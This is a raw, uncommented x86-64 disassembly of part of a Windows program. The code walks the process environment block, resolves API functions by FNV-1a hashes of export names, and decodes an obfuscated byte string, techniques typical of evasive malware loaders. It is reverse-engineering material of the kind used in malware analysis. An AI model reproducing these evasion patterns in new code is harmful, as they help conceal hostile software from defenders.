mov al, byte [rdx]
cmp al, 0x2e
jne 0x140146416
jmp 0x140146439
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14014642c
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14014631f
mov qword [0x1404fc118], rdx
mov r13d, 0x31a98fee
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
xor eax, eax
test rbx, rbx
jne 0x1401465de
mov esi, eax
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401464f0
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401464e2
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401464d1
cmp r8d, esi
jne 0x1401465c0
mov rdi, qword [rbx + 0x30]
movsxd rax, dword [rdi + 0x3c]
mov rax, qword [rax + rdi + 0x88]
mov r10d, eax
add r10, rdi
shr rax, 0x20
cmp r10, rdi
je 0x1401465c0
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401465c0
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rdi + r9*4]
mov r8d, dword [rdx + r11]
add r8, rdi
mov edx, 0x811c9dc5
jmp 0x140146544
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146539
cmp edx, r14d
je 0x14014655a
test r9d, r9d
jne 0x140146524
jmp 0x1401465c0
mov r8d, dword [r10 + 0x1c]
add r8, rdi
mov edx, dword [r10 + 0x24]
add rdx, rdi
movzx edx, word [rdx + r9*2]
mov ebx, dword [r8 + rdx*4]
add rbx, rdi
cmp rbx, r10
jbe 0x1401465d7
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x1401465d7
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x1401465b4
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x140146591
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x1401465a7
mov rbx, qword [r15]
mov rbx, qword [rbx]
xor eax, eax
cmp rbx, r15
je 0x1401465d4
cmp qword [rbx + 0x30], rax
jne 0x1401464a0
mov rbx, rax
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
xor eax, eax
test rdx, rdx
jne 0x14014675a
mov esi, eax
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x14014666c
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x14014665e
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x14014664d
cmp r8d, esi
jne 0x14014673c
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x14014673c
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x14014673c
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401466c0
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401466b5
cmp edx, r14d
je 0x1401466d6
test r9d, r9d
jne 0x1401466a0
jmp 0x14014673c
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140146753
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140146753
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140146730
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14014670d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140146723
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140146750
cmp qword [rdi + 0x30], rax
jne 0x14014661c
mov rdx, rax
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
xor eax, eax
test rdx, rdx
jne 0x1401468cd
mov esi, eax
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401467df
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x1401467d1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x1401467c0
cmp r8d, esi
jne 0x1401468af
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401468af
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401468af
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146833
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146828
cmp edx, r14d
je 0x140146849
test r9d, r9d
jne 0x140146813
jmp 0x1401468af
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x1401468c6
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401468c6
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x1401468a3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x140146880
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140146896
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x1401468c3
cmp qword [rdi + 0x30], rax
jne 0x14014678f
mov rdx, rax
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
xor eax, eax
test rdx, rdx
jne 0x140146a40
mov esi, eax
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140146952
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146944
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146933
cmp r8d, esi
jne 0x140146a22
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140146a22
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140146a22
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401469a6
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14014699b
cmp edx, r14d
je 0x1401469bc
test r9d, r9d
jne 0x140146986
jmp 0x140146a22
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov edx, dword [r8 + rdx*4]
add rdx, rbx
cmp rdx, r10
jbe 0x140146a39
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140146a39
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x140146a16
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x1401469f3
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x140146a09
mov rdi, qword [r15]
mov rdi, qword [rdi]
xor eax, eax
cmp rdi, r15
je 0x140146a36
cmp qword [rdi + 0x30], rax
jne 0x140146902
mov rdx, rax
mov qword [0x1404fc140], rdx
xor ecx, ecx
call rdx
xor ebx, ebx
cmp qword [0x1404fc138], rbx
jne 0x140146b40
mov esi, ebx
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140146abe
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146ab4
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146aa3
cmp r8d, esi
jne 0x140146b24
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140146b22
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140146b22
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146b0a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146aff
cmp edx, r14d
je 0x140146c13
test r9d, r9d
jne 0x140146aea
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140146b36
cmp qword [rdi + 0x30], rbx
jne 0x140146a72
mov r9, rbx
mov qword [0x1404fc138], r9
mov r8, qword [0x1404fc168]
test r8, r8
jne 0x140146bb9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r9, qword [rax]
mov r10, r9
mov rcx, qword [r9 + 0x60]
movzx eax, word [r9 + 0x58]
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
cmp rcx, rdx
je 0x140146ba1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146b7e
cmp r8d, 0x610c0de3
je 0x140146c8e
mov r9, qword [r9]
cmp r9, r10
je 0x140146baf
cmp qword [r9 + 0x30], rbx
jne 0x140146b63
mov r8, rbx
mov qword [0x1404fc168], r8
movsxd rax, dword [r8 + 0x3c]
mov r11d, dword [rax + r8 + 0x88]
mov r9d, ebx
mov r10d, dword [r11 + r8 + 0x20]
mov edi, 1
mov eax, r9d
lea rcx, [r10 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rdi
test al, al
je 0x140146c0e
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rdi
test al, al
jne 0x140146bee
cmp ecx, 0xe463da3c
je 0x140146c97
add r9d, edi
jmp 0x140146bd2
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, rbx
cmp r9, r10
jbe 0x140146c87
lea rcx, [rax + r10]
cmp r9, rcx
jae 0x140146c87
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x140146c61
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x140146c4a
add r9, rcx
xor ebx, ebx
jmp 0x140146c78
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x140146c68
mov rdi, qword [r15]
jmp 0x140146b24
xor ebx, ebx
jmp 0x140146b39
mov r8, qword [r9 + 0x30]
jmp 0x140146bb2
mov edx, dword [r11 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r11 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404fba00]
test r10, r10
jne 0x140146dbd
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rdi, qword [rcx]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140146d36
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146d2c
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146d1b
cmp r8d, esi
jne 0x140146d9c
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x140146d9a
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140146d9a
mov r10d, dword [r11 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146d82
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146d77
cmp edx, r14d
je 0x140146e39
test r9d, r9d
jne 0x140146d62
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140146dae
cmp qword [rdi + 0x30], rbx
jne 0x140146cea
mov r10, rbx
mov qword [0x1404fba00], r10
mov edi, 1
lea r9, [rbp + 0x11b0]
mov r8d, edi
mov edx, 0x5000
mov rcx, r12
call r10
mov r8, qword [0x1404fc160]
test r8, r8
jne 0x140146f51
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r15, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140146ecf
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140146ec5
mov r8d, dword [r11 + 0x1c]
add r8, rbx
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r10d, dword [r8 + rdx*4]
add r10, rbx
cmp r10, r11
jbe 0x140146ead
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x140146ead
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x140146e87
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x140146e70
add r10, rcx
xor ebx, ebx
jmp 0x140146e9e
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x140146e8e
mov rdi, qword [r15]
jmp 0x140146d9c
xor ebx, ebx
jmp 0x140146db1
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140146eb4
cmp r8d, esi
jne 0x140146f35
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x140146f33
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x140146f33
mov r11d, dword [r10 + 0x20]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x140146f1b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140146f10
cmp edx, r14d
je 0x140146ffc
test r9d, r9d
jne 0x140146efb
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r15
je 0x140146f47
cmp qword [rdi + 0x30], rbx
jne 0x140146e01
mov r8, rbx
mov qword [0x1404fc160], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rbp + 0x31e0], eax
mov eax, dword [0x1404fba30]
mov dword [rbp + 0x31e4], eax
lea rdx, [rbp + 0x31e0]
lea rcx, [0x1404fba90]
call fcn.1401ac5c8
test eax, eax
jne 0x140149468
mov r15, qword [0x1404fc128]
test r15, r15
jne 0x14014711a
mov esi, ebx
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rdi, qword [rax]
mov r14, rdi
movups xmm0, xmmword [rdi + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x140147092
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea rdx, [rcx + rax*2]
mov r8d, 0x811c9dc5
jmp 0x140147088
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r8d, dword [r8 + rdx*4]
add r8, rbx
cmp r8, r10
jbe 0x140147070
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x140147070
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14014704a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x140147033
add r8, rcx
xor ebx, ebx
jmp 0x140147061
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x140147051
mov rdi, qword [r15]
jmp 0x140146f35
xor ebx, ebx
jmp 0x140146f4a
movsx eax, byte [rcx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rcx, 2
cmp rcx, rdx
jne 0x140147077
cmp r8d, esi
jne 0x1401470fe
mov rbx, qword [rdi + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r10d, eax
add r10, rbx
shr rax, 0x20
cmp r10, rbx
je 0x1401470fc
mov r9d, dword [r10 + 0x18]
test r9d, r9d
je 0x1401470fc
mov r11d, dword [r10 + 0x20]
mov r12d, 1
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r11]
add r8, rbx
mov edx, 0x811c9dc5
jmp 0x1401470e4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401470d9
cmp edx, r13d
je 0x140147201
test r9d, r9d
jne 0x1401470c4
xor ebx, ebx
mov rdi, qword [rdi]
cmp rdi, r14
je 0x140147110
cmp qword [rdi + 0x30], rbx
jne 0x140146fc4
mov r15, rbx
mov qword [0x1404fc128], r15
mov byte [rbp + 0x460], Ordinal_211
mov byte [rbp + 0x461], WSASetLastError
mov byte [rbp + 0x462], 0xe6
mov byte [rbp + 0x463], WSASetLastError
mov byte [rbp + 0x464], 0xf0
mov byte [rbp + 0x465], WSAGetLastError
mov byte [rbp + 0x466], 0xfb
mov byte [rbp + 0x467], 0x67
mov byte [rbp + 0x468], 0xea
mov byte [rbp + 0x469], 0x65
mov byte [rbp + 0x46a], Ordinal_200
mov byte [rbp + 0x46b], 0x63
mov byte [rbp + 0x46c], 0x60
mov byte [rbp + 0x46d], 0x61
xor eax, eax
mov qword [rbp + 0x46e], rax
mov dword [rbp + 0x476], eax
movabs rsi, 0x7f6e648b120d3452
mov bl, byte [rsp + 0x50]
lea r14d, [rax + 0x23]
xor r13d, r13d
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r11, qword [rax]
mov r10, r13
mov r12d, 1
cmp r10, 0x1a
jae 0x140147d6e
movzx r9d, byte [rbp + r10 + 0x460]
mov r8, r9
cmp rdi, r10
ja 0x140147d65
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x140147278
lea rcx, [r10 + rsi]
mov rax, r9
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r9
add rbx, rcx
sub bl, 0x3e
jmp 0x1401472a5
mov r8d, dword [r10 + 0x1c]
add r8, rbx
mov edx, dword [r10 + 0x24]
add rdx, rbx
movzx edx, word [rdx + r9*2]
mov r15d, dword [r8 + rdx*4]
add r15, rbx
cmp r15, r10
jbe 0x140147113
lea rcx, [rax + r10]
cmp r15, rcx
jae 0x140147113
mov eax, 0x811c9dc5
mov esi, eax
mov r13d, eax
jmp 0x14014724b
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r15, r12
mov al, byte [r15]
cmp al, 0x2e
jne 0x14014723d
add r15, r12
xor ebx, ebx
jmp 0x140147269
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r15, r12
mov al, byte [r15]
test al, al
jne 0x140147259
mov rdi, qword [r14]
jmp 0x1401470fe
je 0x140147ce0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x140147cad
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140147c66
lea rax, [r11 + 6]
cmp rdi, rax
je 0x140147c3e
cmp r11, r10
ja 0x140147d5c
lea rcx, [r11 + 2]
cmp rdi, rcx
jae 0x1401472d6
movabs rcx, 0x740e3f687b154aba
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x16
jmp 0x140147306
lea rax, [r11 + 1]
cmp rdi, rax
je 0x140147bf3
cmp rdi, rcx
je 0x140147bd0
lea rax, [r11 + 4]
cmp rdi, rax
je 0x140147bbc
lea rax, [r11 + 5]
cmp rdi, rax
je 0x140147b98
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x140147854
lea rax, [r11 + 0x61]
cmp rdi, rax
je 0x140147840
lea rax, [r11 + 8]
cmp rdi, rax
je 0x14014781e
lea rax, [r11 + 0x3e8]
cmp rdi, rax
je 0x14014780a
lea rax, [r11 + 4]
cmp rdi, rax
je 0x1401477e8
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401477d4
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401477b2
lea rax, [r11 + 0x28]
cmp rdi, rax
je 0x14014779e
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x14014777c
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x140147756
lea rax, [r11 + 0x1000]
cmp rdi, rax
je 0x140147313
lea rdi, [r11 + 0x61]
lea r11, [rdi + 6]
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x140147d38
lea rax, [r11 + 0x3e8]
cmp rdi, rax
jb 0x140147d16
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x140147513
lea rax, [r11 + 0x64]
cmp rdi, rax
jb 0x1401474f1
lea rax, [r11 + 1]
cmp rdi, rax
jb 0x1401474cb
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x1401476b9
lea rax, [r11 + 0x41]
cmp rdi, rax
jb 0x1401476a8
lea rax, [r11 + 0xa]
cmp rdi, rax
jb 0x140147660
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x140147632
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x140147313
lea rdi, [r11 + 0x80]
lea r11, [rdi + 0x200]
lea rax, [r11 + 2]
cmp rdi, rax
ja 0x14014761e
lea rax, [r11 + 0x40]
cmp rdi, rax
ja 0x1401475fc
lea rax, [r11 + 0x5a]
cmp rdi, rax
ja 0x1401475db
lea rax, [r11 + 0x10]
cmp rdi, rax
ja 0x1401475b9
lea rax, [r11 + 0x61]
cmp rdi, rax
ja 0x1401475a5
lea rax, [r11 + 8]
cmp rdi, rax
ja 0x140147583
lea rax, [r11 + 0x3e8]
cmp rdi, rax
ja 0x14014756f
lea rax, [r11 + 4]
cmp rdi, rax
ja 0x14014754d
lea rax, [r11 + 0x64]
cmp rdi, rax
ja 0x140147539
lea rax, [r11 + 1]
cmp rdi, rax
ja 0x140147313
lea rdi, [r11 + 2]
lea r11, [rdi + 0x28]
jmp 0x140147313
movabs rdx, 0x30f09782cd2b6886
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x140147306
movabs rcx, 0x3213ce6ca910ffe2
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x2e
jmp 0x1401472a5
movabs rdx, 0x3337055684f6973e
add rdx, r10
mov al, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401471cc
movabs rdx, 0xa071fb43d8aa55d0
mov ecx, Ordinal_41
jmp 0x140147c02
movabs rcx, 0xa195322db48fed2c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x34
jmp 0x140147c5b
movabs rdx, 0xa2b8691790758488
mov ecx, 0x24
jmp 0x140147bdf
movabs rcx, 0xa3dba0016c5b1be4
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x3c
jmp 0x140147c83
movabs rdx, 0xa4fed6eb4840b340
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140147cbc
movabs rcx, 0xa6220dd524264a9c
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x44
jmp 0x140147cd1
movabs rdx, 0xa74544bf000be1f8
mov ecx, Ordinal_32
add rdx, r10
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140147b27
movabs rcx, 0xa8687ba8dbf17954
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x4c
jmp 0x140147b60
movabs rdx, 0xa98bb292b7d710b0
mov ecx, Ordinal_27
jmp 0x140147765
movabs rdx, 0x2c63bbdb5d950b16
add rdx, r10
mov al, dl
and al, r9b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
mov byte [rbp + r10 + 0x460], bl
jmp 0x140147d0e
movabs rcx, 0x2d86f2c5397aa272
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x1e
cmp r11, 2
jb 0x140147653
movabs rcx, 0xc5fc0f693142d8ac
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea ebx, [rcx*2 - 0x68]
jmp 0x140147c14
movabs rdx, 0x2eaa29af156039ce
mov ecx, Ordinal_50
jmp 0x140147700
movabs rcx, 0x2fcd6098f145d12a
add rcx, r10
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x26
lea rax, [r11 + rdi]
cmp rax, 0x61
je 0x140147b03
